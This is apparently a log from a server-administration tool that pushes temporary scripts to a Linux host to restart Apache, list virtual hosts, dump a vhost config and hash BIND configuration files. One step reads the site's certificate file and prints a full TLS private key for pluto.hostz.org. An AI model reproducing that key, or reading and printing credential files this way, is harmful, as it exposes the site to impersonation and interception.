    ErrorLog	/var/log/apache2/hostz/pluto_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_pluto_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_pluto_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_pluto_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_pluto_org.conf= 1'
fi


2026-04-20 18:58:26: 

chmod 755 /tmp/pkp127508; /tmp/pkp127508; rm /tmp/pkp127508

2026-04-20 18:58:27: 




2026-04-20 18:58:27: 

PUT: /tmp/pkp617071

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-20 18:58:27: 

chmod 755 /tmp/pkp617071; /tmp/pkp617071; rm /tmp/pkp617071

2026-04-20 18:58:27: 


.


2026-04-20 18:58:27: Establishing a connection
2026-04-20 18:58:28: 

PUT: /tmp/pkp169496

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-04-20 18:58:29: 

chmod 755 /tmp/pkp169496; /tmp/pkp169496; rm /tmp/pkp169496

2026-04-20 18:58:29: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost pluto.hostz.org (/etc/apache2/sites-enabled/hostz_pluto_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost pluto.hostz.org (/etc/apache2/sites-enabled/hostz_pluto_org.conf:25)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-04-20 18:58:29: 

PUT: /tmp/pkp957101

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hostz_pluto_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-20 18:58:30: 

chmod 755 /tmp/pkp957101; /tmp/pkp957101; rm /tmp/pkp957101

2026-04-20 18:58:30: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_pluto_org.conf	1361
<VirtualHost *:80>
    ServerName	pluto.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_pluto
    <Directory /var/www/hostz_pluto>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/pluto_access.log combined
    ErrorLog	/var/log/apache2/hostz/pluto_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    
    #    ProxyRequests	off
#    ProxyVia	on
#    ProxyPass	/ http://192.168.1.71/
#    ProxyPassReverse	/ http://192.168.1.71/
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	pluto.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/68fedc5efe490e129eb9aeeb5aa22807.crt
    DocumentRoot	/var/www/hostz_pluto
    <Directory /var/www/hostz_pluto>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/pluto_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/pluto_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-04-20 18:58:30: 

PUT: /tmp/pkp368445

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/68fedc5efe490e129eb9aeeb5aa22807.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-20 18:58:31: 

chmod 755 /tmp/pkp368445; /tmp/pkp368445; rm /tmp/pkp368445

2026-04-20 18:58:31: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/68fedc5efe490e129eb9aeeb5aa22807.crt	5344
74:18:27:2d:df:51:7f:c4:d5:0a:fd:05:18:ec:26:df

-----BEGIN CERTIFICATE-----
MIIE9zCCA9+gAwIBAgISBdnKDRPcWuCpoVjyOpnry3QpMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNDIwMTc1OTUwWhcNMjYwNzE5MTc1OTQ5WjAaMRgwFgYDVQQD
Ew9wbHV0by5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQD0rPQpebXZh/egzXff2tFNBk3VlkPSqmNmVDgMRBzHpqCKrO1N4vGUIHmDvsFr
pjcpQt4D6rnv//QC4/Zzrdxau2Nkw2Sf2k1M5wFZHioekGS5YuVeVz4AEjlbiACg
jsFPhc49RVx4yJrmBDocpaKDqcsTMVL8xw2o6dQVoaibXk3ElE8GGDaAIZv8qTcS
f46HMjwPEy94n9aUHVCnmeWMzIwbih0p85BF1FxkzxrD5PYiqPGqf90PoG6DsTE4
QFoiTenUs/R8vS2ntMXLigCmepRSdeGsU+AYUNjaML2Qxcc8ICjClBsL+aqUJvEO
/tDjtkbsu0tD2HAlgY8KSPrhAgMBAAGjggIcMIICGDAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUnuUm
GnJnYYCDbZOpBt1C95NOZlowHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvW
kjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVu
Y3Iub3JnLzAaBgNVHREEEzARgg9wbHV0by5ob3N0ei5vcmcwEwYDVR0gBAwwCjAI
BgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9y
Zy80Mi5jcmwwggELBgorBgEEAdZ5AgQCBIH8BIH5APcAfgBGr4Y9Oz7ln6V33qgk
XTaw2e0ioiP0YXdBIpRS7pVQXwAAAZ2sQgVJAAgAAAUABGnvYgQDAEcwRQIgO0DS
Ton1tI9d+lzy0dji4cO7CiuXU3eQuqbkCarOjp0CIQDnSRhthW/Vhjmg8YdTZEi4
FpC6Cd+VkamQQo0SHIR00wB1AK9niDtXsE7dj6bZfvYuqOuBCsdxYPAkXlXWDC/n
hYc6AAABnaxCBYEAAAQDAEYwRAIgY8kob7ppDZnmIrXt5eVpvqmrtzYVOp4yfUNS
cw/yKlACIEGl47J/M5lzQNTp/atNVYe3Np6BAkO83t1QuvWBS3xqMA0GCSqGSIb3
DQEBCwUAA4IBAQAhmT65kxmobaWQuDOIJcTCrR+OowB+JIrVIcvDRAZoghaPvgWP
9XrjSefKNmvbLcMd18cUptshR7GGJuZroDfqQdFsSQJtU+p5aSzohJzY0SYN1gUv
KOxZ48roHkxdWpl6pMvsdgz2gc7WY9vWsN/LaavbxqUWiHYAGV54uZ+x9urG8uKG
VzHx5uZ5HNF1DFrEGbtOTo6lvsWl0tx3XATSXLYRX4uqxrbhz0QW5KHWjBR0RBXT
BoSwpMwLAX4KfdLZ69z/gxY13kTTwnXvBdwEFsgMKYYiLbAZyA3XMv5Mikn173uy
0mmaCkhN6IYRqDxjCOlNPL0RRyvaP2dNpJXA
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQD0rPQpebXZh/eg
zXff2tFNBk3VlkPSqmNmVDgMRBzHpqCKrO1N4vGUIHmDvsFrpjcpQt4D6rnv//QC
4/Zzrdxau2Nkw2Sf2k1M5wFZHioekGS5YuVeVz4AEjlbiACgjsFPhc49RVx4yJrm
BDocpaKDqcsTMVL8xw2o6dQVoaibXk3ElE8GGDaAIZv8qTcSf46HMjwPEy94n9aU
HVCnmeWMzIwbih0p85BF1FxkzxrD5PYiqPGqf90PoG6DsTE4QFoiTenUs/R8vS2n
tMXLigCmepRSdeGsU+AYUNjaML2Qxcc8ICjClBsL+aqUJvEO/tDjtkbsu0tD2HAl
gY8KSPrhAgMBAAECggEAAzNBqor1raGjU9RqKGi1Fv0Bjr0NWCubuxh4BvOLXZJk
rEmqnSueKagC1N39a0g4VZsi+qHC4rRqI3FKPX05OgvURwqt9dAJ9ar6E9mC1yVf
9uOH8Nvi4wb5/nQs/2yck0rijZ87EFad3YsxvCMPuQmDDyZEkcsz9tkPmcSUdys+
HLEgJ4PGLZRdM6Eppicsrf11zE/oU6k/EGNk5YjqKtXdhHbGMPfPcFC+027broyB
R26bNSCx2dOoAjZSPTweBgi4SCmSlsEyhpENS3jvBvh3Wesg57Yx2gNB7aTAz8SI
/XhTp0zjFj5cxRsNc62OC6Yv9ucSlvuYsmkm6HtucQKBgQD8Zlhiit5kl3xdfvUV
69C91xCApSPiblxjuAyIuG5CxnPJD+BxyVCFQ+AS5Shf2XN5R6fhNOHqc4sxSS/M
N9mRaZlYkgX69+ODWgSwtgbFKhnw953/FqiNhmpnzILZVDXIcwd7Ni34tcNG/rVV
fPk7gSt9G50s/2QBrCkllHVQEQKBgQD4KmczDUASRkKRYyVA9NxfQ2/fuwgkDGNf
2ubw1VZlAo1xbyN0PcmdkgkmhZaIBggKZcfP79m4vVfU3t7P66tgw67Hr/308QHT
I8wo3MZ8J1tyPhXjo+steah9NzZVHtYjexKOVrkUsMGX/OedG1fjdWZM4RDUnVwh
kbY+FBXN0QKBgQDmTxlNafv+fAA+bC+FPjWuVIU5bfbtkdh6IaJGS0xJYD6c9ADQ
s2rm/4WCmFocBBcLTqhQpmmS/rW/VlHoHfpIZrxHho8wb2vKGqT2/lH1LTKYn8oq
zukkoseLSaEIYH/nFZd5BXozXOAAc0DR7gSaGIavVTg5rBz8LbUqFmppkQKBgF5w
ZI19AWDy8+o3/LlXdXWbSDuwBU0Smc6kkzYbOaF+8yyzyp411T/tjyXluH9TLEQo
r31mHUi8ZWxQ1CHz4WgVj7HWO6K3BKbA/LSgL7iXkalMDzBt9NV9cq0UEc0aywr9
jvYz8oL5MPMR/2I+QZgB2UhwbeM7bxAnT18YbaPBAoGBAIc87LONwzwsk7FLN7ZU
P+2tk1wlY36sMmjQ+5ICUCDGXiu/j/xZ0JuCw4rXIzbz++6BszShP7tJALdK1iII
35IxVxcaiaOEwQfxg+LTr0EbKiV/92Q1G4VglyxxHjklLEMHdIRiuuc6gKVMCz1U
j1AEpibLhNCQzDR+QHpQvqaW
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-04-20 19:07:58: Establishing a connection
2026-04-20 19:07:58: 

PUT: /tmp/pkp207535

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-20 19:07:59: 

runuser -l bind -s /bin/bash -c '/tmp/pkp207535; rm /tmp/pkp207535'

2026-04-20 19:07:59: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
